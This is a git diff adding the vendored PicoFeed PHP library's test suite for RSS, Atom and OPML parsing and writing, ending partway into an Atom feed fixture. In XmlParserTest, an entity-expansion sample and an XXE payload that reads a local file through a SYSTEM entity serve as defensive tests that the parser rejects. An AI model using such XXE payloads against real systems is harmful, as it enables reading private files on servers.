+ $this->assertEquals('http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a687021/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Czapnet0Cthumbnail0Isquare0C20A130C0A40Ccahuzac0I10Bpng/cahuzac_1.png', $feed->items[0]->getEnclosureUrl());
+ $this->assertEquals('image/png', $feed->items[0]->getEnclosureType());
+ }
+
+ public function testFeedsReportedAsNotWorking()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/biertaucher.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(177, count($feed->items));
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/radio-france.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(52, count($feed->items));
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/fanboys.fm_episodes.all.mp3.rss'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/geekstammtisch.de_episodes.mp3.rss'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('http://geekstammtisch.de#GST001', $feed->items[1]->getUrl());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/lincoln_loop.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/next_inpact_full.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/jeux-linux.fr.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/cercle.psy.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Parser/Rss91ParserTest.php b/vendor/fguillot/picofeed/tests/Parser/Rss91ParserTest.php
new file mode 100644
index 000000000..8f10f2ea5
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/Rss91ParserTest.php
@@ -0,0 +1,30 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class Rss91ParserTest extends PHPUnit_Framework_TestCase
+{
+ public function testFormatOk()
+ {
+ $parser = new Rss91(file_get_contents('tests/fixtures/rss_0.91.xml'));
+ $feed = $parser->execute();
+
+ $this->assertNotFalse($feed);
+ $this->assertNotEmpty($feed->items);
+
+ $this->assertEquals('WriteTheWeb', $feed->getTitle());
+ $this->assertEquals('http://writetheweb.com', $feed->getUrl());
+ $this->assertEquals('http://writetheweb.com', $feed->getId());
+ $this->assertEquals(time(), $feed->getDate());
+ $this->assertEquals(6, count($feed->items));
+
+ $this->assertEquals('Giving the world a pluggable Gnutella', $feed->items[0]->getTitle());
+ $this->assertEquals('http://writetheweb.com/read.php?item=24', $feed->items[0]->getUrl());
+ $this->assertEquals('085a9133a75542f878fa73ee2afbb6a2350b6c4fb125e6d8ca09478c47702111', $feed->items[0]->getId());
+ $this->assertEquals(time(), $feed->items[0]->getDate());
+ $this->assertEquals('webmaster@writetheweb.com', $feed->items[0]->getAuthor());
+ $this->assertTrue(strpos($feed->items[1]->getContent(), '<p>After a period of dormancy') === 0);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Parser/Rss92ParserTest.php b/vendor/fguillot/picofeed/tests/Parser/Rss92ParserTest.php
new file mode 100644
index 000000000..1d67c2252
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/Rss92ParserTest.php
@@ -0,0 +1,28 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class Rss92ParserTest extends PHPUnit_Framework_TestCase
+{
+ public function testFormatOk()
+ {
+ $parser = new Rss92(file_get_contents('tests/fixtures/univers_freebox.xml'));
+ $feed = $parser->execute();
+
+ $this->assertNotFalse($feed);
+ $this->assertNotEmpty($feed->items);
+
+ $this->assertEquals('Univers Freebox', $feed->getTitle());
+ $this->assertEquals('http://www.universfreebox.com', $feed->getUrl());
+ $this->assertEquals('http://www.universfreebox.com', $feed->getId());
+ $this->assertEquals(time(), $feed->date);
+ $this->assertEquals(30, count($feed->items));
+
+ $this->assertEquals('Retour de Xavier Niel sur Twitter, « sans initiative privée, pas de révolution #Born2code »', $feed->items[0]->title);
+ $this->assertEquals('http://www.universfreebox.com/article20302.html', $feed->items[0]->getUrl());
+ $this->assertEquals('ad23a45af194cc46d5151a9a062c5841b03405e456595c30b742d827e08af2e0', $feed->items[0]->getId());
+ $this->assertEquals('', $feed->items[0]->getAuthor());
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Parser/XmlParserTest.php b/vendor/fguillot/picofeed/tests/Parser/XmlParserTest.php
new file mode 100644
index 000000000..b20b3f635
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/XmlParserTest.php
@@ -0,0 +1,105 @@
+<?php
+namespace PicoFeed\Parser;
+
+use DOMDocument;
+
+use PHPUnit_Framework_TestCase;
+
+
+class XmlParserTest extends PHPUnit_Framework_TestCase
+{
+ public function testGetEncodingFromXmlTag()
+ {
+ $this->assertEquals('utf-8', XmlParser::getEncodingFromXmlTag("<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet"));
+ $this->assertEquals('utf-8', XmlParser::getEncodingFromXmlTag('<?xml version="1.0" encoding="UTF-8"?><feed xml:'));
+ $this->assertEquals('windows-1251', XmlParser::getEncodingFromXmlTag('<?xml version="1.0" encoding="Windows-1251"?><rss version="2.0">'));
+ }
+
+ public function testScanForXEE()
+ {
+ $xml = <<<XML
+<?xml version="1.0"?>
+<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
+<results>
+ <result>This result is &harmless;</result>
+</results>
+XML;
+
+ $this->assertFalse(XmlParser::getDomDocument($xml));
+ }
+
+ public function testScanForXXE()
+ {
+ $file = tempnam(sys_get_temp_dir(), 'PicoFeed_XmlParser');
+ file_put_contents($file, 'Content Injection');
+
+ $xml = <<<XML
+<?xml version="1.0"?>
+<!DOCTYPE root
+[
+<!ENTITY foo SYSTEM "file://$file">
+]>
+<results>
+ <result>&foo;</result>
+</results>
+XML;
+
+ $this->assertFalse(XmlParser::getDomDocument($xml));
+ unlink($file);
+ }
+
+ public function testScanSimpleXML()
+ {
+ return <<<XML
+<?xml version="1.0"?>
+<results>
+ <result>test</result>
+</results>
+XML;
+ $result = XmlParser::getSimpleXml($xml);
+ $this->assertTrue($result instanceof SimpleXMLElement);
+ $this->assertEquals($result->result, 'test');
+ }
+
+ public function testScanDomDocument()
+ {
+ return <<<XML
+<?xml version="1.0"?>
+<results>
+ <result>test</result>
+</results>
+XML;
+ $result = XmlParser::getDomDocument($xml);
+ $this->assertTrue($result instanceof DOMDocument);
+ $node = $result->getElementsByTagName('result')->item(0);
+ $this->assertEquals($node->nodeValue, 'test');
+ }
+
+ public function testScanInvalidXml()
+ {
+ $xml = <<<XML
+<foo>test</bar>
+XML;
+
+ $this->assertFalse(XmlParser::getDomDocument($xml));
+ $this->assertFalse(XmlParser::getSimpleXml($xml));
+ }
+
+ public function testScanXmlWithDTD()
+ {
+ $xml = <<<XML
+<?xml version="1.0"?>
+<!DOCTYPE results [
+<!ELEMENT results (result+)>
+<!ELEMENT result (#PCDATA)>
+]>
+<results>
+ <result>test</result>
+</results>
+XML;
+
+ $result = XmlParser::getDomDocument($xml);
+ $this->assertTrue($result instanceof DOMDocument);
+ $this->assertTrue($result->validate());
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Reader/ReaderTest.php b/vendor/fguillot/picofeed/tests/Reader/ReaderTest.php
new file mode 100644
index 000000000..c060de0aa
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Reader/ReaderTest.php
@@ -0,0 +1,157 @@
+<?php
+namespace PicoFeed\Reader;
+
+use PHPUnit_Framework_TestCase;
+
+
+class ReaderTest extends PHPUnit_Framework_TestCase
+{
+ public function testPrependScheme()
+ {
+ $reader = new Reader;
+ $this->assertEquals('http://http.com', $reader->prependScheme('http.com'));
+ $this->assertEquals('http://boo.com', $reader->prependScheme('boo.com'));
+ $this->assertEquals('http://google.com', $reader->prependScheme('http://google.com'));
+ $this->assertEquals('https://google.com', $reader->prependScheme('https://google.com'));
+ }
+
+
+ public function testDownload()
+ {
+ $reader = new Reader;
+ $feed = $reader->download('http://wordpress.org/news/feed/')->getContent();
+ $this->assertNotEmpty($feed);
+ }
+
+
+ public function testDownloadWithCache()
+ {
+ $reader = new Reader;
+ $resource = $reader->download('http://linuxfr.org/robots.txt');
+ $this->assertTrue($resource->isModified());
+
+ $lastModified = $resource->getLastModified();
+ $etag = $resource->getEtag();
+
+ $reader = new Reader;
+ $resource = $reader->download('http://linuxfr.org/robots.txt', $lastModified, $etag);
+ $this->assertFalse($resource->isModified());
+ }
+
+
+ public function testDetectFormat()
+ {
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/jeux-linux.fr.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/sametmax.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss92', $reader->detectFormat(file_get_contents('tests/fixtures/rss_0.92.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss91', $reader->detectFormat(file_get_contents('tests/fixtures/rss_0.91.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss10', $reader->detectFormat(file_get_contents('tests/fixtures/planete-jquery.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/rss2sample.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Atom', $reader->detectFormat(file_get_contents('tests/fixtures/atomsample.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/cercle.psy.xml')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/ezrss.it')));
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat(file_get_contents('tests/fixtures/grotte_barbu.xml')));
+
+ $content = '<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2titles.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemtitles.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">';
+
+ $reader = new Reader;
+ $this->assertEquals('Rss20', $reader->detectFormat($content));
+ }
+
+
+ public function testFind()
+ {
+ $reader = new Reader;
+ $resource = $reader->download('http://miniflux.net/');
+ $feeds = $reader->find($resource->getUrl(), $resource->getContent());
+ $this->assertTrue(is_array($feeds));
+ $this->assertNotEmpty($feeds);
+ $this->assertEquals('http://miniflux.net/feed', $feeds[0]);
+
+ $reader = new Reader;
+ $resource = $reader->download('http://www.bbc.com/news/');
+ $feeds = $reader->find($resource->getUrl(), $resource->getContent());
+ $this->assertTrue(is_array($feeds));
+ $this->assertNotEmpty($feeds);
+ $this->assertEquals('http://feeds.bbci.co.uk/news/rss.xml', $feeds[0]);
+
+ $reader = new Reader;
+ $resource = $reader->download('http://www.cnn.com/services/rss/');
+ $feeds = $reader->find($resource->getUrl(), $resource->getContent());
+ $this->assertTrue(is_array($feeds));
+ $this->assertNotEmpty($feeds);
+ $this->assertTrue(count($feeds) > 1);
+ $this->assertEquals('http://rss.cnn.com/rss/cnn_topstories.rss', $feeds[0]);
+ $this->assertEquals('http://rss.cnn.com/rss/cnn_world.rss', $feeds[1]);
+ }
+
+
+ public function testDiscover()
+ {
+ $reader = new Reader;
+ $client = $reader->discover('http://www.universfreebox.com/');
+ $this->assertEquals('http://www.universfreebox.com/backend.php', $client->getUrl());
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding()));
+
+ $reader = new Reader;
+ $client = $reader->discover('http://planete-jquery.fr');
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding()));
+
+ $reader = new Reader;
+ $client = $reader->discover('http://cabinporn.com/');
+ $this->assertEquals('http://cabinporn.com/rss', $client->getUrl());
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding()));
+
+ $reader = new Reader;
+ $client = $reader->discover('http://linuxfr.org/');
+ $this->assertEquals('http://linuxfr.org/news.atom', $client->getUrl());
+ $this->assertInstanceOf('PicoFeed\Parser\Atom', $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding()));
+ }
+
+
+ public function testFeedsReportedAsNotWorking()
+ {
+ $reader = new Reader;
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser('http://blah', file_get_contents('tests/fixtures/cercle.psy.xml'), 'utf-8'));
+
+ $reader = new Reader;
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser('http://blah', file_get_contents('tests/fixtures/ezrss.it'), 'utf-8'));
+
+ $reader = new Reader;
+ $this->assertInstanceOf('PicoFeed\Parser\Rss20', $reader->getParser('http://blah', file_get_contents('tests/fixtures/grotte_barbu.xml'), 'utf-8'));
+
+ $reader = new Reader;
+ $client = $reader->download('http://www.groovehq.com/blog/feed');
+
+ $parser = $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding());
+ $this->assertInstanceOf('PicoFeed\Parser\Atom', $parser);
+
+ $feed = $parser->execute();
+
+ $this->assertEquals('http://www.groovehq.com/blog/feed', $client->getUrl());
+ $this->assertEquals('http://www.groovehq.com/blog/feed', $feed->getUrl());
+ $this->assertNotEquals('http://www.groovehq.com/blog/feed', $feed->items[0]->getUrl());
+ $this->assertTrue(strpos($feed->items[0]->getUrl(), 'http://') === 0);
+ $this->assertTrue(strpos($feed->items[0]->getUrl(), 'feed') === false);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Serialization/ExportTest.php b/vendor/fguillot/picofeed/tests/Serialization/ExportTest.php
new file mode 100644
index 000000000..fa68c05ca
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Serialization/ExportTest.php
@@ -0,0 +1,70 @@
+<?php
+namespace PicoFeed\Serialization;
+
+use PHPUnit_Framework_TestCase;
+
+
+class ExportTest extends PHPUnit_Framework_TestCase
+{
+ public function testOuput()
+ {
+ $feeds = array(
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://blabla.fr/',
+ ),
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://petitcodeur.fr/',
+ 'feed_url' => 'http://petitcodeur.fr/feed.xml',
+ )
+ );
+
+ $export = new Export($feeds);
+ $opml = $export->execute();
+
+ $expected = '<?xml version="1.0" encoding="utf-8"?>
+<opml><head><title>OPML Export</title></head><body><outline xmlUrl="http://petitcodeur.fr/feed.xml" htmlUrl="http://petitcodeur.fr/" title="Site title" text="Site title" description="Optional description" type="rss" version="RSS"/></body></opml>
+';
+
+ $this->assertEquals($expected, $opml);
+ }
+
+ public function testCategoryOuput()
+ {
+ $feeds = array(
+ 'my category' => array(
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://blabla.fr/',
+ ),
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://petitcodeur.fr/',
+ 'feed_url' => 'http://petitcodeur.fr/feed.xml',
+ )
+ ),
+ 'another category' => array(
+ array(
+ 'title' => 'Site title',
+ 'description' => 'Optional description',
+ 'site_url' => 'http://youpi.ici/',
+ 'feed_url' => 'http://youpi.ici/feed.xml',
+ )
+ )
+ );
+
+ $export = new Export($feeds);
+ $opml = $export->execute();
+
+ $expected = '<?xml version="1.0" encoding="utf-8"?>
+<opml><head><title>OPML Export</title></head><body><outline text="my category"><outline xmlUrl="http://petitcodeur.fr/feed.xml" htmlUrl="http://petitcodeur.fr/" title="Site title" text="Site title" description="Optional description" type="rss" version="RSS"/></outline><outline text="another category"><outline xmlUrl="http://youpi.ici/feed.xml" htmlUrl="http://youpi.ici/" title="Site title" text="Site title" description="Optional description" type="rss" version="RSS"/></outline></body></opml>
+';
+
+ $this->assertEquals($expected, $opml);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Serialization/ImportTest.php b/vendor/fguillot/picofeed/tests/Serialization/ImportTest.php
new file mode 100644
index 000000000..8fd010486
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Serialization/ImportTest.php
@@ -0,0 +1,61 @@
+<?php
+namespace PicoFeed\Serialization;
+
+use PHPUnit_Framework_TestCase;
+
+
+class ImportTest extends PHPUnit_Framework_TestCase
+{
+ public function testMalFormedFormat()
+ {
+ $import = new Import('boo');
+ $this->assertFalse($import->execute());
+ }
+
+ public function testFormat()
+ {
+ $import = new Import(file_get_contents('tests/fixtures/subscriptionList.opml'));
+ $entries = $import->execute();
+
+ $this->assertEquals(14, count($entries));
+ $this->assertEquals('CNET News.com', $entries[0]->title);
+ $this->assertEquals('http://news.com.com/2547-1_3-0-5.xml', $entries[0]->feed_url);
+ $this->assertEquals('http://news.com.com/', $entries[0]->site_url);
+ }
+
+ public function testGoogleReader()
+ {
+ $import = new Import(file_get_contents('tests/fixtures/google-reader.opml'));
+ $entries = $import->execute();
+
+ $this->assertEquals(22, count($entries));
+ $this->assertEquals('Code', $entries[21]->category);
+ $this->assertEquals('Vimeo / CocoaheadsRNS', $entries[21]->title);
+ $this->assertEquals('http://vimeo.com/cocoaheadsrns/videos/rss', $entries[21]->feed_url);
+ $this->assertEquals('http://vimeo.com/cocoaheadsrns/videos', $entries[21]->site_url);
+ }
+
+ public function testTinyTinyRss()
+ {
+ $import = new Import(file_get_contents('tests/fixtures/tinytinyrss.opml'));
+ $entries = $import->execute();
+
+ $this->assertEquals(2, count($entries));
+ $this->assertEquals('coding', $entries[1]->category);
+ $this->assertEquals('Planète jQuery', $entries[1]->title);
+ $this->assertEquals('http://feeds.feedburner.com/PlaneteJqueryFr', $entries[1]->feed_url);
+ $this->assertEquals('http://planete-jquery.fr', $entries[1]->site_url);
+ }
+
+ public function testNewsBeuter()
+ {
+ $import = new Import(file_get_contents('tests/fixtures/newsbeuter.opml'));
+ $entries = $import->execute();
+
+ $this->assertEquals(35, count($entries));
+ $this->assertEquals('', $entries[1]->category);
+ $this->assertEquals('code.flickr.com', $entries[1]->title);
+ $this->assertEquals('http://code.flickr.net/feed/', $entries[1]->feed_url);
+ $this->assertEquals('http://code.flickr.net', $entries[1]->site_url);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Syndication/AtomWriterTest.php b/vendor/fguillot/picofeed/tests/Syndication/AtomWriterTest.php
new file mode 100644
index 000000000..9d263fd2c
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Syndication/AtomWriterTest.php
@@ -0,0 +1,90 @@
+<?php
+namespace PicoFeed\Syndication;
+
+use PHPUnit_Framework_TestCase;
+
+
+class AtomWriterTest extends PHPUnit_Framework_TestCase
+{
+ public function testWriter()
+ {
+ $writer = new Atom();
+ $writer->title = 'My site';
+ $writer->site_url = 'http://boo/';
+ $writer->feed_url = 'http://boo/feed.atom';
+ $writer->author = array(
+ 'name' => 'Me',
+ 'url' => 'http://me',
+ 'email' => 'me@here'
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 1',
+ 'updated' => strtotime('-2 days'),
+ 'url' => 'http://foo/bar',
+ 'summary' => 'Super summary',
+ 'content' => '<p>content</p>'
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 2',
+ 'updated' => strtotime('-1 day'),
+ 'url' => 'http://foo/bar2',
+ 'summary' => 'Super summary 2',
+ 'content' => '<p>content 2 &nbsp; &copy; 2015</p>',
+ 'author' => array(
+ 'name' => 'Me too',
+ )
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 3',
+ 'url' => 'http://foo/bar3'
+ );
+
+ $generated_output = $writer->execute();
+
+ $expected_output = '<?xml version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+ <generator uri="https://github.com/fguillot/picoFeed">PicoFeed</generator>
+ <title>My site</title>
+ <id>http://boo/</id>
+ <updated>'.date(DATE_ATOM).'</updated>
+ <link rel="alternate" type="text/html" href="http://boo/"/>
+ <link rel="self" type="application/atom+xml" href="http://boo/feed.atom"/>
+ <author>
+ <name>Me</name>
+ <email>me@here</email>
+ <uri>http://me</uri>
+ </author>
+ <entry>
+ <title>My article 1</title>
+ <id>http://foo/bar</id>
+ <updated>'.date(DATE_ATOM, strtotime('-2 days')).'</updated>
+ <link rel="alternate" type="text/html" href="http://foo/bar"/>
+ <summary>Super summary</summary>
+ <content type="html"><![CDATA[<p>content</p>]]></content>
+ </entry>
+ <entry>
+ <title>My article 2</title>
+ <id>http://foo/bar2</id>
+ <updated>'.date(DATE_ATOM, strtotime('-1 day')).'</updated>
+ <link rel="alternate" type="text/html" href="http://foo/bar2"/>
+ <summary>Super summary 2</summary>
+ <content type="html"><![CDATA[<p>content 2 &nbsp; &copy; 2015</p>]]></content>
+ <author>
+ <name>Me too</name>
+ </author>
+ </entry>
+ <entry>
+ <title>My article 3</title>
+ <id>http://foo/bar3</id>
+ <updated>'.date(DATE_ATOM).'</updated>
+ <link rel="alternate" type="text/html" href="http://foo/bar3"/>
+ </entry>
+</feed>
+';
+
+ $this->assertEquals($expected_output, $generated_output);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Syndication/Rss20WriterTest.php b/vendor/fguillot/picofeed/tests/Syndication/Rss20WriterTest.php
new file mode 100644
index 000000000..2c61b8537
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Syndication/Rss20WriterTest.php
@@ -0,0 +1,85 @@
+<?php
+namespace PicoFeed\Syndication;
+
+use PHPUnit_Framework_TestCase;
+
+
+class Rss20WriterTest extends PHPUnit_Framework_TestCase
+{
+ public function testWriter()
+ {
+ $writer = new Rss20();
+ $writer->title = 'My site';
+ $writer->site_url = 'http://boo/';
+ $writer->feed_url = 'http://boo/feed.atom';
+ $writer->author = array(
+ 'name' => 'Me',
+ 'url' => 'http://me',
+ 'email' => 'me@here'
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 1',
+ 'updated' => strtotime('-2 days'),
+ 'url' => 'http://foo/bar',
+ 'summary' => 'Super summary',
+ 'content' => '<p>content</p>'
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 2',
+ 'updated' => strtotime('-1 day'),
+ 'url' => 'http://foo/bar2',
+ 'summary' => 'Super summary 2',
+ 'content' => '<p>content 2 &nbsp; &copy; 2015</p>',
+ 'author' => array(
+ 'name' => 'Me too',
+ )
+ );
+
+ $writer->items[] = array(
+ 'title' => 'My article 3',
+ 'url' => 'http://foo/bar3'
+ );
+
+ $generated_output = $writer->execute();
+
+ $expected_output = '<?xml version="1.0" encoding="UTF-8"?>
+<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
+ <channel>
+ <generator>PicoFeed (https://github.com/fguillot/picoFeed)</generator>
+ <title>My site</title>
+ <description>My site</description>
+ <pubDate>'.date(DATE_RFC822).'</pubDate>
+ <atom:link href="http://boo/feed.atom" rel="self" type="application/rss+xml"/>
+ <link>http://boo/</link>
+ <webMaster>me@here (Me)</webMaster>
+ <item>
+ <title>My article 1</title>
+ <link>http://foo/bar</link>
+ <guid isPermaLink="true">http://foo/bar</guid>
+ <pubDate>'.date(DATE_RFC822, strtotime('-2 days')).'</pubDate>
+ <description>Super summary</description>
+ <content:encoded><![CDATA[<p>content</p>]]></content:encoded>
+ </item>
+ <item>
+ <title>My article 2</title>
+ <link>http://foo/bar2</link>
+ <guid isPermaLink="true">http://foo/bar2</guid>
+ <pubDate>'.date(DATE_RFC822, strtotime('-1 day')).'</pubDate>
+ <description>Super summary 2</description>
+ <content:encoded><![CDATA[<p>content 2 &nbsp; &copy; 2015</p>]]></content:encoded>
+ </item>
+ <item>
+ <title>My article 3</title>
+ <link>http://foo/bar3</link>
+ <guid isPermaLink="true">http://foo/bar3</guid>
+ <pubDate>'.date(DATE_RFC822).'</pubDate>
+ </item>
+ </channel>
+</rss>
+';
+
+ $this->assertEquals($expected_output, $generated_output);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/atom.xml b/vendor/fguillot/picofeed/tests/fixtures/atom.xml
new file mode 100644
index 000000000..63656f7bd
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/atom.xml
@@ -0,0 +1,477 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUYHQns6cCp7ImA9WhBTEUo.&quot;"><id>tag:blogger.com,1999:blog-10861780</id><updated>2013-02-06T10:58:53.518-08:00</updated><category term="google.org" /><category term="mobile" /><category term="google+" /><category term="youtube and video" /><category term="user experience and usability" /><category term="search stories" /><category term="g2g" /><category term="measurement" /><category term="ads" /><category term="Latin America" /><category term="small business" /><category term="This Week in Search" /><category term="privacy" /><category term="Asia" /><category term="social" /><category term="books + book search" /><category term="search quality" /><category term="open source" /><category term="photos" /><category term="Google at 10" /><category term="April 1" /><category term="maps and earth" /><category term="green" /><category term="online safety" /><category term="privacy and security" /><category term="accessibility" /><category term="developers" /><category term="personalization" /><category term="enterprise" /><category term="apps" /><category term="doodles" /><category term="crisis response" /><category term="Google Apps highlights" /><category term="recruiting and hiring" /><category term="youtube highlights" /><category term="Africa" /><category term="Android" /><category term="acquisition" /><category term="entrepreneurs at Google" /><category term="government transparency" /><category term="diversity" /><category term="journalism and news" /><category term="computing history" /><category term="local" /><category term="security" /><category term="politics" /><category term="culture" /><category term="entrepreneurship" /><category term="commerce" /><category term="policy and issues" /><category term="googlers and culture" /><category term="faster web" /><category term="Cultural Institute" /><category term="scholarships" /><category term="google ideas" /><category term="yourgooglestories" /><category term="display advertising" /><category term="recipe" /><category term="energy" /><category term="chrome + chrome os" /><category term="transparency" /><category term="free expression" /><category term="search trends" /><category term="innovation" /><category term="search" /><category term="education and research" /><category term="Europe" /><category term="health" /><category term="ipv6" /><title type="text">The Official Google Blog</title><subtitle type="html">Insights from Googlers into our products, technology, and the Google culture.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://googleblog.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://googleblog.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default?alt=atom&amp;start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Emily Wood</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>2817</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/MKuf" /><feedburner:info uri="blogspot/mkuf" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>blogspot/MKuf</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare 